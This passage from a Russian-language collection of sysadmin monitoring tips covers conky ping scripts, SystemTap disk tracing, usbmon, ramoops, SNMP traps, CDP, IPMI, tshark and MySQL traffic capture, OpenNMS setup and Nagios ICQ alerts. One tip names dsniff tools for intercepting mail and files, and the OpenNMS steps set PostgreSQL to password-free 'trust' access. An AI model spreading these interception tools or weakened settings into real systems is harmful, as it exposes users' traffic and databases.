       if [[ "$3" =~ l ]]; then vis_log $1 $2 $3 $4 $5; fi
       if [[ "$3" =~ n ]]; then res=$1' '; fi
       if [[ "$3" =~ f ]]; then res=$res' '$vislog; fi
       if [[ "$3" =~ t ]]; then res=$res'${color} '$t; fi
       r=${r//y/'${color 00ff00}'&#11044;}
       r=${r//n/'${color ff0000}'&#11044;}
       r=${r//e/'${color ffff00}'&#11044;}
       if [[ "$3" =~ d ]]; then res=$res' '$r; fi
       echo $res
    
    В скрипт надо передать 7 параметров:
    
    1- Отображаемое имя того, что пингуем (может не совпадать с адресом и вообще
    это просто строка от которой работа скрипта не зависит)
    
    2- Пингуемый адрес (х.х.х.х либо example.com)
    
    3- Флаги настроек:
      f - форматировать вывод (без флага ведения лога бессмысленно)
      n - отображать имя
      t - отображать время пинга (ms)
      d - отображать жирную точку текущего результата
      s - проиграть звук при отсутствии пинга
      l - вести лог
    
    4- Общая ширина строки в символах для форматирования
    
    5- Символ которым будет заполняться пространство для форматированного вывода,
    также цветом этого символа будет отображаться лог
    
    6- Имя звукового файла (необязательный параметр нужен для флага s, почему то
    путь у меня не работал пришлось файл бросить в домашний каталог)
    
    7- Длинна пакета для пинга (совсем не обязательный параметр, но очень просили)
    
    Пример конфигурации conky:
    
       {execpi 10 /home/kinsoft/conky_ping5.sh Inet 8.8.8.8 fntdls 32 . drip.ogg}
    
    отображать имя, время пинга, лог, текущий результат; играть звук; вести лог;
    форматировать строку и делать ее шириной 32 знака.
    
     
    ----* Выявление нагружающих дисковую подсистему процессов в Linux   Автор: Yuriy Kulikov  [комментарии]
     
    В Centos 5.x нет нормальной поддержки iotop, без которого трудно понять, какой
    процесс больше всего грузит дисковую систему.
    Но можно использовать скрипт disktop.stp, написанный для подсистемы
    динамической трассировки SystemTap.
    
    Чтобы запустить disktop в CentOS нужно:
    Установить пакеты 
       kernel-debuginfo-`uname -r`
       kernel-debuginfo-common-`uname -r` 
    (скачать можно здесь http://debuginfo.centos.org/5/
    
    Установить пакет kernel-devel-`uname -r`
    
    Установить systemtap:
       yum install systemtap
    
    Запуcтить disktop:
       stap disktop.stp
    
    Пример работы:
    
       # stap disktop.stp
       Wed Nov 24 16:16:20 2010 , Average: 351Kb/sec, Read: 1680Kb, Write: 76Kb
    
       UID    PID     PPID          CMD     DEVICE    T        BYTES
       102    16196    29589        nginx     sda3    R       539535
        48    29429    26950        httpd     sda3    R       161992
        48    29427    26950        httpd     sda3    R       141730
        48    20089    26950        httpd     sda3    R       100256
        102    16196    29589       nginx     sda3    W        57253
    
     
    ----* Мониторинг активности USB-устройств   [комментарии]
     
    Начиная с Linux-ядра версии 2.6.11 в составе поставляется модуль usbmon,
    позволяющий осуществить полный мониторинг обмена данными с USB-устройствами.
    
    Загружаем модуль:
       modprobe usbmon
    
    Если не смонтирована debugfs, монтируем:
    
       mount| grep debugfs  
       mount -t debugfs none_debugs /sys/kernel/debug
    
    
    Для анализа USB-пересылок также можно использовать Java-приложение из состава пакета
    USBMon-0.4.tar.gz:
       
       wget http://people.redhat.com/zaitcev/linux/USBMon-0.4.tar.gz
       tar xzf USBMon-0.4.tar.gz
       cd USBMon
       vi Makefile # правим путь в переменной JAVAC, оставляем просто javac (ставится из пакета openjdk-6-jdk)
       make
       java USBMon
    
    Но удобнее, проще и нагляднее анализировать usbmon трафик в Wireshark, в
    котором достаточно выбрать интерфейс для сниффинга usbmon0 или usbmonN, где N
    номер USB-шины, которую можно определить, например, утилитой lsusb. Главное
    удобство Wireshark состоит в гибких возможностях фильтрации, например, можно
    отобразить только соответствующие определенным критериям пересылки.
    
    При наличии libpcap 1.0 для перехвата данных можно использовать любую
    поддерживающую данную библиотеку утилиту, включая tcpdump, начиная с версии 4.0:
    
       tcpdump -i usbmon0 -w usb.pcap
    
    указание опции "-w" обязательно, без нее будет выведена ошибка "tcpdump:
    unsupported data link type USB_LINUX". Наглядно отслеживать пересылки tcpdump
    еще не умеет, но сохраненный файл usb.pcap можно использовать в сторонних
    анализаторах, таких как wireshark.
    
    Сохранить дамп пересылок можно в текстовом виде, просто перенаправив вывод из
    сокета в директории /sys/kernel/debug/usb/usbmon:
    
       ls /sys/kernel/debug/usb/usbmon
    
       0s  1s  1u  2t  3s  3u  4t  5s  5u  6t  7s  7u
       0u  1t  2s  2u  3t  4s  4u  5t  6s  6u  7t
    
    где, 0* - сокет сбора данных о всех шинах. Буквы "s", "u" и "t" указывают на
    формат вывода, отличающийся детализацией.
    
       cat /sys/kernel/debug/usb/usbmon/0u > usbmon.out
    
     
    ----* Борьба с kernel panic в Linux-ядре 2.6.35 и выше   Автор: Аноним  [комментарии]
     
    Начиная с версии 2.6.35 в Linux-ядре появилась полезная функция "ramoops",
    позволяющая в случае краха сохранять информационный дамп состояния ядра в
    памяти для последующего анализа. Данные сохраняются только при мягкой
    перезагрузке, без очистки прошлого состояния памяти. Вкомпилировать данную
    функцию в ядро или загружать модулем "ramoops" - без разницы.
    
    Единственная хитрость - сначала нужно зарезервировать память в ядре.
    Сделать это можно указав ядру параметр memmap=256K@0xfc0000
    (резервируем 256К перед ядром).
    
    Если ramoops в ядре, то добавляем параметры 
    
       ramoops.mem_address=0xfc0000 и
       ramoops.mem_size=0x40000
    
    параметр ramoops.dump_oops=1 является умолчанием, так что его можно не указывать.
    
    Для модуля "ramoops" эти параметры нужно указать при загрузке.
    
    Теперь чтобы ядро не осталось в мертвом виде, не забываем сделать
    
       echo 10 >/proc/sys/kernel/panic
    
    и (если нужно, а иногда полезно)
    
       echo 1 >/proc/sys/kernel/panic_on_oops
    
    Теперь проверяем при помощи crash-а через Alt-SysRq-C.
    
    После перезагрузки, текст crash-дампа будет лежать в памяти, начиная с адреса 0xfc0000.
    
    Достать его оттуда можно при помощи
    
       dd if=/dev/mem bs=256k skip=63 count=1 >>crash.txt
    
    либо при помощи простенькой программы, которая открывает /dev/mem и с
    указанного смещения читает данные.
    
    Для сохранения дампа на диск следует использовать похожую функцию mtdoops.
    
    Дополнение: Для работы в ядре необходимо выключить опцию CONFIG_STRICT_DEVMEM 
    
     
    ----* Мониторинг работы устройства digium TDM   Автор: bigbugkik  [комментарии]
     
    Пример решения задачи с отслеживанием отключения (зависания) карт серии digium TDM. 
    
    Перед отключением карты в логе /var/log/messages появлялись сообщения
    
       "ACPI: PCI interrupt for device 0000:05:06.0 disabled"
       "ERROR: Unable to service card within"
       "Fatal Bus Error detected",
    
    Скрипт для перезапуска VoIP подсистемы в случае сбоя (в тексте "TDM800P"
    необходимо поменять на название своей карты):
    
       #!/bin/sh
       renice +19 -p $$ >/dev/null 2>&1
       # проверка отключения устройства digium
       MSG="/var/log/messages"
       LAST_DISB=`grep "ERROR: Unable to service card within" $MSG | awk '{ print $2,$3 };' | tail -n1 | sed -e "s/\:/ /g"`
       LAST_ENBL=`grep "Found a Wildcard TDM: Wildcard TDM800P" $MSG |  awk '{ print $2,$3 };' | tail -n1 | sed -e "s/\:/ /g"`
    
       for d in $LAST_DISB ; do
           e=`echo $LAST_ENBL | awk '{ print $1};'`
           if [  "$d" -gt "$e" ] ; then
      	 /bin/logger -p local0.notice -t TDM800P-monitor "restart asterisk"
             # грамотнее выгружать модуль zaptel а не перезапускать весь астериск
    
             renice -15 -p $$ >/dev/null 2>&1
     	 /etc/init.d/asterisk stop
             renice 0 -p $$ >/dev/null 2>&1
             /etc/init.d/zaptel restart
    	 /etc/init.d/asterisk start
    	 exit 0;
           elif [  "$d" -eq "$e" ] ; then
        
             LAST_ENBL=`echo $LAST_ENBL| sed -e "s/^$e//"`
    	 continue;
           else
    	 exit 0;
           fi
       done
    
    
    Помещаем в cron:
    
       */15 * * * * root /etc/opt/asterisk/TDM800P-monitor.sh > /dev/null 2>&1
    
     
    ----* Наблюдение за трафиком на удаленном хосте через GUI-интерфейс Wireshark (доп. ссылка 1)   [комментарии]
     
    Для наблюдения за трафиком, проходящим через сетевой интерфейс удаленной машины
    192.168.1.2 в bash можно воспользоваться следующей конструкцией:
    
       wireshark -k -i <(ssh -l root 192.168.1.2 tshark -w - not tcp port 22)
    
    Конструкция "not tcp port 22" необходима для запрещения перехвата трафика
    передаваемого в wireshark по ssh.
    
    В других shell:
    
       mkfifo /tmp/pipe
       ssh user@192.168.1.2 "tshark -w - not port 22" > /tmp/pipe
       wireshark -k -i /tmp/pipe
    
    Если перехват в реальном времени не требуется, можно записать на удаленной машине дамп в файл:
    
       tshark -w capture.cap 
    
    а потом на локальном машине выполнить операцию анализа:
    
      wireshark -k -i capture.cap 
    
     
    ----* Организация приема SNMP trap’ов и их отправки на коммутаторах DLink (доп. ссылка 1) (доп. ссылка 2)   Автор: Andrey Sergienko  [комментарии]
     
    В рамках поставленной задачи (узнавать о появлении новых MAC-адресов на портах
    коммутаторов DLink) понадобилось организовать настройку SNMP-trap'ов на
    коммутационном оборудовании с последующим приемом их на сервере и дальнейшей
    обработкой в зависимости от пришедшего события.
    
    Для начала надо установить и настроить демон, который будет принимать трапы от
    оборудования и при нужном MIB вызывать наш обработчик. Установка net-snmp -
    тема отдельная, выполняется из пактов или портов, и особых трудностей не вызывает.
    
    Собственно приемом трапов занимается snmptrapd. Для обработки заданного трапа
    пишем в snmptrapd.conf:
    
        traphandle 1.3.6.1.4.1.171.11.63.6.2.20.0.2 /scripts/trap.php
    
    Теперь после рестарта демона snmptrapd, он начнет принимать приходящие трапы и
    при наличии трапа с заданным MIB (1.3.6.1.4.1.171.11.63.6.2.20.0.2 - в нашем
    случае), будет вызывать наш обработчик, который уже будет совершать необходимые
    нам действия.
    Обработчик SNMP-трапов
    
    Принимать SNMP trap-ы на самом деле достаточно просто. Вот пример простого
    обработчика SNMP-трапов на PHP:
    
          #!/usr/bin/php -q
          <?php
          $message = "";
          $fd = fopen("php://stdin", "r");
          while (!feof($fd)) $message .= fread($fd, 1024);
          ?>
    
    Все что делает этот скрипт - получает в переменную $message текст, который
    передается демоном snmptrapd. Текст приходит разделенный знаками конца строки.
    Первая строка - это всегда имя хоста (который прислал трап), вторая - IP-адрес
    этого хоста, третья - его uptime, четвертая - MIB пришедшего трапа. Остальные
    строки в сообщении - это детальная информация касательно пришедшего трапа, если
    она предусмотрена.
    
    
    Для отправки Trap-ов на коммутаторе исполняем такие команды:
    
        create snmp community trap_com view CommunityView read_only
        create snmp host x.x.x.x v2c trap_com
    
    Где х.х.х.х - IP-адрес сервера, котоырй будет принимать SNMP traps.
    
    Далее надо включить опцию дабы коммутатор отсылал трап при появлении на порту
    нового мака. Делается это через SNMP
    
        snmpset -v2c -c write_commenity switch_ip 1.3.6.1.4.1.171.11.63.6.2.1.2.19.0 i 3
    
    Выключить эту опцию можно так
    
        snmpset -v2c -c write_commenity switch_ip 1.3.6.1.4.1.171.11.63.6.2.1.2.19.0 i 2
    
    Узнать текущее состояние опции можно так
    
        snmpwalk -v2c -c read_commenity switch_ip 1.3.6.1.4.1.171.11.63.6.2.1.2.19
    
    
    Вся информация справедлива для коммутаторов 3028. Для других моделей MIB-ы
    могут сильно отличаться - к сожалению, DLink любит менять их от серии к серии.
    Надо заметить, что опция отправки трапа при появлении нового мака на порту
    доступна далеко не на всех моделях DLink-овых коммутаторов - например, 3010
    такой возможности не поддерживает.
    
     
    ----* Использование протокола CDP (Cisco Discovery Protocol) в Linux (доп. ссылка 1)   Автор: shadow_alone  [комментарии]
     
    Проект LLDP (http://trac.luffy.cx/lldpd/) позволяет задействовать на
    Linux-серверах протокол CDP (Cisco Discovery Protocol), позволяющий на Cisco
    посмотреть соседей с включенной CDP-командой "sh cdp nei". Команда выведет
    оборудование которое подключено, на каком порту и т.д., более подробно для
    заданного устройства параметры можно посмотреть командой "sh cdp ent Device_ID".
    
    Ниже приведен процесс настройки CDP для CentOS 5.4. Для Debian-подобных
    дистрибутивов принцип примерно тот же, за исключением особенностей сборки и
    расположения файлов.
    
    Загружаем пакет src.rpm:
    
       wget http://www.luffy.cx/lldpd/lldpd-0.4.0-1.fc10.src.rpm
    
    Установим его:
    
       rpm -Uhv lldpd-0.4.0-1.fc10.src.rpm
    
    Появится файл спецификаций /usr/src/redhat/SPECS/lldpd.spec, на основе которого
    выполним сборку пакета:
    
       rpmbuild -bb /usr/src/redhat/SPECS/lldpd.spec
    
    Устанавливаем вновь собранный пакет:
    
       rpm -Uhv /usr/src/redhat/RPMS/i386/lldpd-0.4.0-1.i386.rpm
    
    Настраиваем опции запуска демона, отредактировав файл /etc/sysconfig/lldpd. Правим:
    
       OPTIONS="-v -c";
    
    где, 
    "-v" - включаем поддержку vlan если они у Вас есть на машине с Linux
    "-c" - включаем протокол CDP
    более подробную информацию можно посмотреть в "man lldpd"
    
    Запускаем демон:
    
       /etc/init.d/lldpd start
    
    После запуска, в файле /var/log/messages мы увидим приблизительно такие строки:
    
       lldpd[30206]: lldpd_decode: switching to CDPv2 on port eth1
       lldpd[30206]: lldpd_decode: switching to CDPv2 on port eth0
    
    всё в порядке, демон запустился.
    
    Чтоб все работало, на оборудовании с другой стороны, на порту, должен быть
    включен CDP, то есть не должно стоять "no cdp enable" на интерфейсе.
    
    Собственно, осталось только проверить как все работает и получить информацию.
    
       lldpctl
    
    получаем:
    
       LLDP neighbors
    
       Interface: eth0
        ChassisID: sw-b-48 (local)
        SysName:   sw-b-48
        SysDescr:
         cisco WS-C2960-48TT-L running on
         Cisco IOS Software, C2960 Software (C2960-LANBASE-M)
         Copyright (c) 1986-2007 by Cisco Systems, Inc.
         Compiled Thu 19-Jul-07 20:06 by nachen
        MgmtIP:    172.16.25.48
        Caps:      Bridge(E)
        PortID:    FastEthernet0/4 (ifName)
        PortDescr: FastEthernet0/4
       
    Видим , что на другой стороне у нас коммутатор C2960, версию IOS, порт
    коммутатора, к которому подключена машина с Linux.
    
    Для остроты ощущений, посмотрим вывод на cisco, у нас там появилось:
    
       my.linux.machine
       Fas 0/4           92             R       Linux     eth0
    
    То есть, видим, что у нас на порту fa0/4 подключена машина с Linux, сетевое имя
    машины, и её сетевая карта eth0.
    
    Стоит отметить еще утилиту cdpr, но с её помощью можно только получать
    информацию по CDP, а не обмениваться ей, для Red Hat-подобных дистрибутивов она
    есть в репозитории rpmforge.
    
     
    ----* Tshark для мониторинга запросов http (доп. ссылка 1)   Автор: CHAPPAY  [комментарии]
     
    Tshark из комплекта сниффера Wireshark (http://www.wireshark.org/) позволяет
    наглядно проследить запросы к http-серверу.
    
    Пример для интерфейса eth0:
    
       tshark -npi eth0 -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src -e ip.dst \
          -e http.request.method -e http.host -e http.request.uri 
    
    За одним можно автоматически найти имя интерфейса в Linux и удалить временные
    файлы, которые программа обычно забывает удалять.
    
    Для Linux:
    
       tshark -npi `netstat -rn | grep "^0.0.0.0" | awk '{ print $8 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
        rm -f /tmp/ether*
    
    Для FreeBSD:
    
       tshark -npi `netstat -rn | grep "default" | awk '{ print $6 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
       rm -f /tmp/ether*
    
    
    Для уменьшения нагрузки можно ограничить выборку пакетами небольшой длины,
    добавив "and less 600", например, "tcp and dst port 80 and less 600".
    
    Другие варианты:
    
    1. утилита urlsnarf из состава пакета dsniff. 
    Также можно отметить и другие похожие утилиты из данного пакета: filesnarf,
    mailsnarf, msgsnarf, webspy, позволяющие перехватывать почтовые сообщения,
    передаваемые файлы и т.п.
    
       urlsnarf -i eth0
       urlsnarf -i eth1 -n .\* tcp port 80 and less 600
    
    2. justniffer (http://justniffer.sourceforge.net/) - выводит перехваченные
    HTTP-пакеты в формате стандартного лога Apache:
    
       justniffer -i eth0
    
    Позволяет оценивать время выполнения запроса:
    
       justniffer -i eth0 -a " %response.time" 
    
    Выводить полный дамп HTTP-заголовков:
    
       justniffer -i eth0 -r 
    
    Самостоятельно определять формат вывода:
    
       justniffer -i eth0 -l " %request.timestamp %source.ip %dest.ip %request.header.host %request.url" 
    
     
    ----* Установка OpenNMS в Debian Lenny (доп. ссылка 1)   Автор: Dennis Kucherskiy  [комментарии]
     
    Задача: найти и установить бесплатный аналог HP OpenView. Из всего, что удалось
    мне найти, максимально подошёл OpenNMS. Устанавливать буду на сервер с
    установленным Debian Lenny.
    
    1. Устанавливаем SUN JDK 1.6
          aptitude install sun-java6-jdk
    
    2. Добавляем в /etc/apt/sources.list
          echo 'deb http://debian.opennms.org stable main' > /etc/apt/sources.list.d/opennms.list
          echo 'deb-src http://debian.opennms.org stable main' >> /etc/apt/sources.list.d/opennms.list
    
    3. Импортируем PGP-ключ проекта OpenNMS
          wget -O - http://debian.opennms.org/OPENNMS-GPG-KEY | apt-key add -
    
    4. Устанавливаем пакеты OpenNMS
          apt-get update ; apt-get install opennms
    
    5. Настройка PostgreSQL
    Редактрируем файл /etc/postgresql/8.3/main/pg_hba.conf. Заменяем строки:
    
          local   all         all                                         ident sameuser
          host    all         all         127.0.0.1/32          md5
          host    all         all         ::1/128                   md5
    
    на
    
          local   all         all trust
          host    all         all         127.0.0.1/32          trust
          host    all         all         ::1/128                   trust
    
    Редактируем файл /etc/postgresql/8.3/main/postgresql.conf. Необходимо раскомментировать строку:
          listen_addresses = 'localhost'          # what IP address(es) to listen on;
    
    Перезапускаем PostgreSQL
          /etc/init.d/postgresql-8.3 restart
    
    6. Создаём БД для OpenNMS
          sudo -u postgres createdb -U postgres -E UNICODE opennms
    
    7. Устанавливаем OpenNMS
          export OPENNMS_HOME=/usr/share/opennms ; /usr/share/opennms/bin/install -dis
    
    8. Запускаем OpenNMS
          /etc/init.d/opennms start
    
    9. Запускаем браузер и вводим адрес http://your_servername:8980/opennms/.
    Login/Password  для входа admin.
    
     
    ----* Пример конфигурирования IPMI на Linux сервере (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    IPMI - интеллектуальный интерфейс управления платформой, помогающий следить (и
    не только) за сенсорами
    состояния железа на сервере (температуры, напряжения, скоростью вращения вентиляторов, 
    состоянием источников питания и т.п.).
    Задача - сконфигурировать IPMI-интерфейс на сервере, с возможностью получать
    данные о сенсорах по сети.
    Операционная система RHEL/CentOS 5, сервер Intel S5000PAL.
    
    Для начала нужно установить пакеты с модулями и необходимыми утилитами:
    
       yum install OpenIPMI-tools OpenIPMI
       chkconfig ipmi on && service ipmi start
    
    Прежде чем приступать к конфигурированию, необходимо решить, на каком физическом сетевом адаптере 
    сервер будет отвечать на IPMI-запросы. 
    На языке IPMI, сетевой адаптер - это канал. Первый канал соответствует первому сетевому 
    интерфейсу, но их mac-адреса отличаются, поэтому можно смело выбирать незанятую
    ip-сеть для IPMI-мониторинга
    и назначать выбранному каналу (сетевой плате) ip-адрес для использования IPMI.
    
    Для примера я выбрал первый канал (первую сетевую плату).
    
       ipmitool shell
       ipmitool> lan set 1 ipaddr 10.10.16.115
    
       Setting LAN IP Address to 10.10.16.115
    
       ipmitool> lan set 1 defgw ipaddr 10.10.16.254
    
       Setting LAN Default Gateway IP to 10.10.16.254
       
    Открываем возможность использования IPMI по сети, а также говорим, что будем использовать 
    MD5-хэширование при аутентификации:
    
       ipmitool> lan set 1 access on
       ipmitool> lan set 1 auth ADMIN MD5
    
    Создаем пользователя, включаем его и назначаем ему права администратора:
    
       ipmitool> user set name 2 monuser
       ipmitool> user set password 2 monpassword
       ipmitool> user enable 2
       ipmitool> channel setaccess 1 2 ipmi=on privilege=4
       ipmitool> user list 1
    
       ID  Name             Enabled Callin  Link Auth  IPMI Msg   Channel Priv Limit
       2   monuser           true    true    false      true       ADMINISTRATOR
    
       ipmitool>
    
    Вот так выглядит первый канал, после всех приготовлений:
    
       ipmitool> lan print 1
    
       Set in Progress         : Set Complete
       Auth Type Support       : NONE MD5 PASSWORD
       Auth Type Enable        : Callback :
                            : User     :
                            : Operator :
                            : Admin    : MD5
                            : OEM      :
       IP Address Source       : BIOS Assigned Address
       IP Address              : 10.10.16.115
       Subnet Mask             : 255.255.255.0
       MAC Address             : 00:04:23:dc:12:d2
       SNMP Community String   :
       IP Header               : TTL=0x40 Flags=0x40 Precedence=0x00 TOS=0x10
       BMC ARP Control         : ARP Responses Enabled, Gratuitous ARP Enabled
       Gratituous ARP Intrvl   : 2.0 seconds
       Default Gateway IP      : 10.10.16.254
       Default Gateway MAC     : 00:00:00:00:00:00
       Backup Gateway IP       : 0.0.0.0
       Backup Gateway MAC      : 00:00:00:00:00:00
       RMCP+ Cipher Suites     : 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
       Cipher Suite Priv Max   : XXXXXXXXXXXXXXX
                            :     X=Cipher Suite Unused
                            :     c=CALLBACK
                            :     u=USER
                            :     o=OPERATOR
                            :     a=ADMIN
                            :     O=OEM
       ipmitool>
    
    Теперь с сервера мониторинга можно обращаться к IPMI-интерфейсу и забирать
    информацию об интересующих сенсорах:
    
       ipmitool -I lan -A MD5 -U monuser -P monpassword -H 10.10.16.115 power status
       Chassis Power is on
    
       ipmitool -I lan -A MD5 -U monuser -P monpassword -H 10.10.16.115 sensor
    
       BB +1.2V Vtt | 1.197 | Volts | ok | na | 1.096 | 1.134 | 1.285 | 1.323 | na 
    
    И это только сбор информации, а можно и питанием удалённо управлять,
     в обход операционной системы, так что будьте аккуратны :)
    
    Ссылки:
    
    1. An introduction to IPMI (http://www.mascanc.net/%7Emax/ipmi/ipmi.html)
    2. Configuring and Securing IPMI on Dell PowerEdge x8xx Hardware
    (http://lonesysadmin.net/2005/09/23/configuring-and-securing-ipmi-on-dell-poweredge-x8xx-hardware/)
    3. ipmitool manpage
    (http://ipmitool.sourceforge.net/manpage.html)
    
     
    ----* Мониторинг работы http-сервера Lighttpd при помощи mod_rrdtool (доп. ссылка 1)   [обсудить]
     
    Для оценки нагрузки и отладки работы http-сервера Lighttpd можно использовать
    входящий в комплект модуль mod_rrdtool.
    
    Устанавливаем в системе пакет rrdtool:
    
    CentOS / RHEL / Fedora
       yum install rrdtool
    
    Debian / Ubuntu:
       apt-get update && apt-get install rrdtool
    
    FreeBSD:
       cd /usr/ports/databases/rrdtool && make && make install
    
    Активируем в Lighttpd запись статистических данных в RRD-базу. 
    В /etc/lighttpd/lighttpd.conf добавляем (для FreeBSD нужно поправить путь на /usr/local):
    
       server.modules              += ( "mod_rrdtool"  )
       ### RRDTOOL Config
       # path to the rrdtool binary
       rrdtool.binary = "/usr/bin/rrdtool"
       # rrd database file
       rrdtool.db-name = "/home/lighttpd/rrd"
    
    Рестартуем http-сервер (service lighttpd reload).
    Для построения аналитических графиков устанавливаем скрипт lightygraph.cgi:
    
       cd /home/lighttpd/cgi-bin/
       wget http://redmine.lighttpd.net/attachments/download/793
       chmod +x lightygraph.cgi
    
    Открываем в браузере страницу
    http://ваш_домен/cgi-bin/lightygraph.cgi и смотрим графики с информацией о
    трафике и числе запросов.
    
     
    ----* Мониторинг аппаратных проблем в x86_64 сборке Linux (доп. ссылка 1)   [комментарии]
     
    Для мониторинга аппаратных проблем в 64-разрядных сборках Linux удобно использовать пакет mcelog,
    анализирующий MCE (Machine Check Exception) состояние в CPU AMD и Intel, которое может указать на 
    проблемы с памятью и с кэшем CPU, ошибки обмена данными между CPU и чипсетом материнской платы.
    
    В RHEL / CentOS / Fedora Linux ставим нужный пакет (работает только с 64-разрядной сборкой ядра):
    
       # yum install mcelog
    
    В Debian / Ubuntu :
    
       # apt-get install mcelog
    
    
    Прописываем запуск mcelog в crontab для пользователя root:
    
       */5 * * * *   /usr/sbin/mcelog --ignorenodev --filter >> /var/log/mcelog
    
    Проверяем лог:
    
       # tail -f /var/log/mcelog
       # grep -i "hardware error" /var/log/mcelog
       # grep -c "hardware error" /var/log/mcelog
    
    Для автоматической отправки предупреждения в случае проблем в вызов из crontab нужно добавить:
    
        [ $(grep -c "hardware error" /var/log/mcelog) -gt 0 ] && echo    "Hardware Error Found $(hostname) @ $(date)" \ 
        | mail -s 'H/w Error' pager@example.com
    
     
    ----* Просмотр байтовых счетчиков трафика на интерфейсе во FreeBSD и Linux   [комментарии]
     
    По умолчанию "netstat -i" во FreeBSD показывает только число пакетов, чтобы
    посмотреть размер в байтах
    нужно использовать опцию "-b", упоминание которой удалось найти после трех прочтений man страницы.
    
       netstat -inb
    
    Для наглядного просмотра, можно использовать опцию "-h", которая сокращает
    байтовый вывод до Кб, Мб или Гб.
    
       netstat -inbh
    
    Интенсивность передачи трафика удобно просматривать через:
    
       systat -ifstat
    или
       netstat -iw1
    
    Для просмотра интенсивности передачи трафика в Linux удобно использовать команду ifstat
    
    В Linux байтовые счетчики интерфейсов можно просмотреть через:
       cat /proc/net/dev
    
    Другую полезную статистику по работе сетевой подсистемы можно найти в файлах
    /proc/net/ip_conntrack, /proc/net/stat/rt_cache, и  /proc/net/stat/arp_cache.
    
     
    ----* Трассировка ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Утилита blktrace (присутствует в репозиториях Ubuntu и Debian) позволяет 
    проконтролировать какие именно данные передаются для заданного блочного устройства.
    
    Например, посмотреть общую статистику и детали обмена данными с /dev/sda можно выполнив команду:
    
       blktrace -d /dev/sda -o - | blkparse -i - 
    
    где, blkparse фильтр для наглядного представления результатов.
    
    В случае вывода ошибки про отсутствие /sys/kernel/debug, убедитесь, что смонтирована debugfs:
    
       mount -t debugfs debugfs /sys/kernel/debug
    
    В качестве альтернативы можно предложить задействование механизма /proc/sys/vm/block_dump, 
    при записи 1 в этот файл начнется сбор данных, при записи 0 - результаты будут
    выведены в буфер dmesg.
    Скрипт для упрощения разбора данных можно загрузить здесь:
     http://www.digitalprognosis.com/opensource/scripts/top-disk-users
    
    
    Мониторинг ввода/вывода не на уровне планировщика, а на уровне конечных процессов удобно проводить 
    при помощи утилиты iotop (http://guichaz.free.fr/iotop/)
    
     
    ----* Временное ведение лога всех запросов к MySQL (доп. ссылка 1)   [комментарии]
     
    Использование опций конфигурации log-slow-queries и general_log, позволяющих вести полный лог 
    медленных или всех запросов, требует перезапуска mysql для включения или выключения ведения логов, 
    что неудобно в ситуации, когда нужно проанализировать запросы только в текущий момент.
    Для анализа запросов (не через локальный сокет) на лету можно воспользоваться сетевым сниффером.
    
    Перехватываем и записываем срез трафика MySQL в файл:
    
       tcpdump -i eth0 port 3306 -s 1500 -w tcpdump.out
    
    Выделяем из дампа SQL запросы, используя утилиту tshark из комплекта сниффера
    Wireshark (http://www.wireshark.org/):
    
       tshark -r tcpdump.out -d tcp.port==3306,mysql -T fields -e mysql.query > query_log.out
    
    Удаляем из полученного лога пустые и неинформативные строки:
    
       cat query_log.out | grep -vE "^(commit.*|autocommit.*|rollback.*|)$" | awk '{print $0 ";"}' > query_log_no_blank.out
    
    Полученный лог удобно анализировать утилитой mysqlsla (http://hackmysql.com/mysqlsla)
    
     
    ----* Быстрый способ посмотреть статус работы memcached (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Просмотр статуса:
    
       echo stats | nc 127.0.0.1 11211
       echo stats items | nc 127.0.0.1 11211
       echo stats sizes | nc 127.0.0.1 11211
       echo stats slabs | nc 127.0.0.1 11211
    
       telnet 127.0.0.1 11211
          stats
          quit
    
    Слежение за динамикой в стиле утилиты top:
    
       watch "echo stats | nc 127.0.0.1 11211"
    
    Для тех у кого нет nc, но есть php:
    
       watch 'php -r '"'"'$m=new Memcache;$m->connect("127.0.0.1", 11211);print_r($m->getstats());'"'"
    
     
    ----* Настройка оповещения Nagios по ICQ (доп. ссылка 1)   Автор: Doktor  [комментарии]
     
    Простое решение для нотификации работы серверов при помощи ICQ:
    
    1) Ставим vicq клиент. Регистрируем для него UIN. Из примера конфигурационного файла 
    создаем работающий конфиг. Обязательные параметры uin и password.
    
    2) Настраиваем nagios для отсылки сообщений о проблемах:
    
    а) Задаем для своего контакта параметр pager равный номеру вашего ICQ.
    
    б) Задаем 2-е дополнительне комманды в commands.cfg
    
     # ICQ Notification
     define command{
      command_name notify-host-by-icq
      command_line /usr/bin/printf "%b" "msg $CONTACTPAGER$\n***** Nagios  <li>**\n\nNotification Type: $NOTIFICATIONTYPE$\nHost:
       $HOSTNAME$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo:
       $HOSTOUTPUT$\n\nDate/Time: $LONGDATETIME$\n.\n" | 
       /usr/local/bin/vicq -c /usr/local/etc/vicq.conf -b -o -t 5
     }
    
     define command {
      command_name notify-service-by-icq
      command_line /usr/bin/printf "msg $CONTACTPAGER$\n***** Nagios<li>**\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService:
        $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState:
        $SERVICESTATE$\n\nDate/Time: $LONGDATETIME$\n\nAdditional Info:\n\n$SERVICEOUTPUT$\n.\n" | 
       /usr/local/bin/vicq -c /usr/local/etc/vicq.conf -b -o -t 5
     }
    
    в) В шаблоне описывающем generic-contact задаем следующие параметры:
    
       service_notification_commands notify-service-by-email,notify-service-by-icq
       host_notification_commands notify-host-by-email,notify-host-by-icq
    
    После всех манипуляций - перезагружаем Nagios и "роняем" какой-нибудь сервис. Все должно работать.
    
    Сообщения будут приходить такими:
    <li>** Nagios *****
    
       Notification Type: PROBLEM
    
       Service: AMAVIS
        Host: localhost
        Address: 127.0.0.1
        State: CRITICAL
    
       Date/Time: Sun Nov 2 01:22:37 MSK 2008
    
       Additional Info:
    
       Connection refused
    
    Кстати, с vicq есть 1 баг при запуске его нагиосом. Так как клиент использует Term::Readline, 
    то возникает ошибка при запуске:
    
       Cannot open /dev/tty for read at ...
    
    Решается проблема просто, надо подредактировать файл vicq. Перед 1063 строкой
    вставить следующий кусок кода:
    
